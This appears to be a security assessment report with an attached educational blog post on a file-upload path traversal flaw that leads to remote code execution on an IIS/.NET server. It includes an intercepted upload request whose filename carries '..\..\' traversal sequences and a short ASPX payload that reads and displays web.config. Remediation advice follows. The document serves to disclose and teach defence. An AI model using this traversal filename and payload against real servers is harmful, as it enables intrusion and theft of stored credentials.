01

Executive Summary

A critical vulnerability was identified in the web application's upload functionality. By bypassing client-side and server-side filters and utilizing path traversal characters (..\..\), an attacker can upload malicious executable files (e.g., .aspx) to arbitrary directories on the server. This allows for the execution of server-side code, leading to full system compromise and unauthorized access to sensitive configuration files including web.config, database credentials, and internal network configuration.
02

Technical Details

1
Directory Discovery
Through directory brute-forcing, sensitive paths such as /uploads and /files were identified. These directories serve as the initial target surface for the attack chain.
2
Request Manipulation via Proxy
Using an intercepting proxy, a standard upload request was captured. The HTTP method was manipulated and session consistency was maintained to preserve authenticated context during exploitation.
HTTP Request (Intercepted)
POST /api/v1/upload HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----FormBound
Cookie: session=eyJhbGciOiJIUzI1NiJ9...

------FormBound
Content-Disposition: form-data; name="file"; filename="..\..\reader.aspx"
Content-Type: image/jpeg

[Malicious .aspx payload]
3
Path Traversal Exploitation
The filename parameter in the Content-Disposition header was modified to include traversal sequences. Instead of writing to the intended uploads directory, the file is written to the web root.
Path Resolution (Before vs After)
// Expected path
C:\inetpub\wwwroot\uploads\user_file.jpg

// Traversal payload resolves to
C:\inetpub\wwwroot\uploads\..\..\reader.aspx
→ C:\inetpub\wwwroot\reader.aspx
4
Payload Execution (RCE)
The uploaded .aspx script contained C# code designed to locate and read the web.config file, achieving server-side code execution upon browser access.
ASPX Payload (Simplified)
<%@ Page Language="C#" %>
<%
  string configPath = Server.MapPath("~/web.config");
  string contents = System.IO.File.ReadAllText(configPath);
  Response.Write("<pre>" + Server.HtmlEncode(contents) + "</pre>");
%>
5
Data Exfiltration
Upon accessing the uploaded file via browser, the application rendered the full contents of the server's configuration file, exposing database credentials, internal IP addresses, and application secrets in plaintext.
03

Impact Analysis

🔓
Confidentiality HIGH
Exposure of database connection strings, API keys, encryption secrets, and service account credentials through direct config file read.
✏️
Integrity HIGH
Attacker gains ability to modify or delete any file accessible by the web server process. Application logic can be tampered with or backdoored.
⚡
Availability HIGH
Potential for ransomware deployment, service shutdown, or deletion of critical application files causing complete service disruption.
04

Remediation Recommendations

🔁
Rename Uploaded Files
Generate a unique UUID for every uploaded file server-side and discard the user-supplied filename entirely. Never use client-provided names to determine file system paths.
🧹
Implement Path Sanitization
Strip ../ and ..\ sequences from all filename inputs. Use Path.GetFileName() in .NET or equivalent to extract only the final filename component.
🚫
Disable Execute Permissions
Remove execute permissions on all upload destination directories at the IIS/web server configuration level. Even if a script is uploaded, it should not be executable.
✅
Whitelist File Extensions & Verify MIME Type
Only permit safe file types (e.g., .jpg, .png, .pdf) and validate file content via MIME type inspection, not just the extension. Use magic bytes verification.
05

Blog Post — Educational

From a Simple Upload to Full Server Control: Understanding RCE via Path Traversal

📅 July 2025 🏷 Web Security · RCE · File Upload ⏱ 5 min read

In the world of web security, "File Upload" functionality is often the most dangerous door to leave unlocked. During a recent security research project, I explored how a seemingly standard upload feature could be turned into a gateway for Remote Code Execution (RCE) — and the findings were sobering.

The Discovery Phase

Every assessment starts with mapping the landscape. By identifying hidden directories, a researcher can find where the "treasure" is stored — usually in folders named uploads or assets. These directories become the staging ground for what follows.

The "Aha!" Moment: Path Traversal

The vulnerability occurs when a server blindly trusts the filename provided by the user. If a developer doesn't sanitize the input, an attacker can weaponize "Path Traversal" (..\..\). Instead of the file landing safely in /var/www/uploads/test.txt, it lands in the web root as reader.aspx — a fully executable script.

💡 The key insight: the server is resolving the path relative to the upload directory. The ..\ sequences traverse upward through the filesystem, escaping the intended sandbox entirely.
Bridging the Gap to RCE

Once you can place a script (like .aspx or .php) on the server and access it via URL, you have achieved RCE. In this scenario, a crafted script was used to read the server's configuration files — the "keys to the kingdom" — which often contain:

  • Clear-text database passwords and connection strings
  • Internal network IP addresses and service endpoints
  • Encryption keys and application secrets for the entire platform
Conclusion for Developers

Security is about layers. Never trust user input, always validate file extensions against a strict whitelist, and ensure your upload directories are configured to never execute code. These aren't difficult fixes — but they must be intentional.

🔒 Defense-in-depth: even if one control fails (extension whitelist bypass), the execution permission restriction should catch it. No single control is sufficient.